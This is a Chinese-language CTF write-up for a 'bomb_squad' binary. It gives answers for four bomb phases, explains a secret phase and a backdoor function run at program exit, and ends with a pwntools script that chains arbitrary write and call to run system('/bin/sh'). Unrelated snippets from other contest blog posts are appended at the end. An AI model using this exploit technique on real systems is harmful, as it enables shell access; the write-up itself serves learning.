拿到題目,還是首先checksec,看開了什麼保護。
開啟了棧溢位檢查,和棧執行保護。
首先這個題目,需要過四個phase,然後就能print_flag列印flag有點像計算機系統拆炸彈。
第乙個炸彈
要求輸入乙個數x,使得3*(2*x/37-18)-1=1337.
這裡推薦乙個z3求解器。
可以很好的解決一些求解不等式,求解方程的問題。
要求輸入一串陣列,使其能夠滿足如下條件:
所以很自然的結果應該是,1, 1, 3, 5, 11, 21。這裡要注意sscanf函式,是從arg1中匹配符合arg2格式的字串。所以要輸入"[1, 1, 3, 5, 11, 21]"才能 通過。
看起來很複雜,其實要讓迴圈跳出,只要第乙個是\x00即可,不用考慮後面的邏輯
所以輸入"\x00"
這一關要求輸入陣列。
首先看一看這裡涉及到的乙個結構體,以n1為例
寫成c語言大概就是
struct node
;
題目中一共有六個node。
phase_4要求輸入7個數字,然後程式從n1開始累加,遍歷節點,然後使得 經過的八個節點的length總和為0x5f. 比如輸入"1 2" 就會經過1 3 4節點
有很多解,我找到的解是"3 0 3 0 3 0 0"
通過四個phase以後,會呼叫print_flag函式,如果verifying 通過即可執行 cat flag.txt列印flag。
然而其實發現verify_working是始終返回1的。。。。已經預感到肯定不能cat flag了。
並且會呼叫乙個secret_phase函式。
這個隱藏關卡其實會要求輸入並且修改每乙個node的name部分。注意fgets函式arg2代表最多輸入arg2-1個位元組。並在最後補上\x00。因此算是有乙個單位元組溢位,可以影響到後續的length。不過不會造成很大問題。
果然一切就緒後,並不能列印flag,回顯顯示並沒有flag.txt檔案。。。。。
換思路。。。
然後開始分析一些奇怪的函式。
gg函式,最好直接看彙編,發現其實它是乙個後門函式,會call每個node的name[4]-name[8]指向的地方的函式,而且call時,棧頂指向的是被執行node,即依次是四個next還有字串name。
而name[4]-name[8]顯然是可以被我們控制的。在secret_phase那裡。
那麼我們只要觸發這個gg函式即可直接執行system。如果把next1指向的地方改為/bin/sh就可以直接getshell了。
對gg函式交叉引用了一下,發現其出現在fini節中,程式結束時,fini節中函式會依次執行一遍。
也就是說,gg函式會自動執行。等於我們通過gg函式拿到乙個任意位址執行。
再分析奇怪的nr函式。
可以通過第乙個輸入,覆蓋到v4。而且可以通過第二個輸入向v4 寫入任意資料。也就是通過這兩個輸入,我們能夠實現乙個任意位址寫。
通過上述操作,我們有了任意位址執行,而且引數位址已知,並且可以通過加任意位址寫控制。
具體來說,我們首先更改n1的name[4-8]為nr函式,向n3寫入/bin/sh。把n2的name[4-8]改為system函式。這樣,就能夠執行system("/bin/sh")了。
exp如下:
from pwn import
*# p = remote(ip,8000)
# p = process("./bomb")
p = process(
"./bomb_squad"
)p.sendline(
"8584"
)p.sendline(
"[1, 1, 3, 5, 11, 21]"
)p.sendline(
"\x00"
)p.sendline(
"3 0 3 0 3 0 0"
)system =
0x080485a0
n3 =
0x804b0a8
nr =
0x08048cda
payload =
'aaaa'
+ p32(nr)
p.send(payload)
payload =
'bbbb'
+ p32(system)
+"\n\n\n"
p.sendline(payload)
payload =
'a'*
0xfc
+ p32(n3)
p.sendline(payload)
p.sendline(
'/bin/sh\x00'
)p.interactive(
)
xdoj 2018校賽 網路賽
第一次參加校賽,相比於之前的網路賽,感覺這次難度還行,不算難也不算簡單。先簡單說說前面幾道題吧 a 水題,找規律 b 水題,最小公倍數 c 稍稍有點難度,先排序,仔細考慮即可 d 水題,找規律 e bfs打表 f 矩陣快速冪遞推 g 找到一一對應的方法bfs 好了,仔細說說最後三題吧。h 一道看上去...
西大CTF線下賽re第一題 第一次打線下賽
總結第一次參加ctf線下賽,因為一直學習的逆向方向,在這裡記錄一下做出來的reverse第一題的wp,與以後上傳的部落格一起做乙個學習歷程。我所用的工具 如果有新的將來在補充 查殼工具 peid 和exeinfope 除錯工具 idapro 靜態除錯,32位和64位 ollydbg 動態除錯32位 ...
171127 總結 DCTF線下賽經驗教訓
1625 5 王子昂 總結 2017年11月27日 連續第423天總結 a.上海ctf線下賽總結 b.準備了許多指令碼,但大多數都沒有用上 而且規則臨時改變太大了 並且含糊不清,比如到場發的紙上寫著有3臺gamebox,卻只給了兩個ip,我們都以為要掃剩下的乙個,其實是寫錯了只有兩個靶機 準備了批量...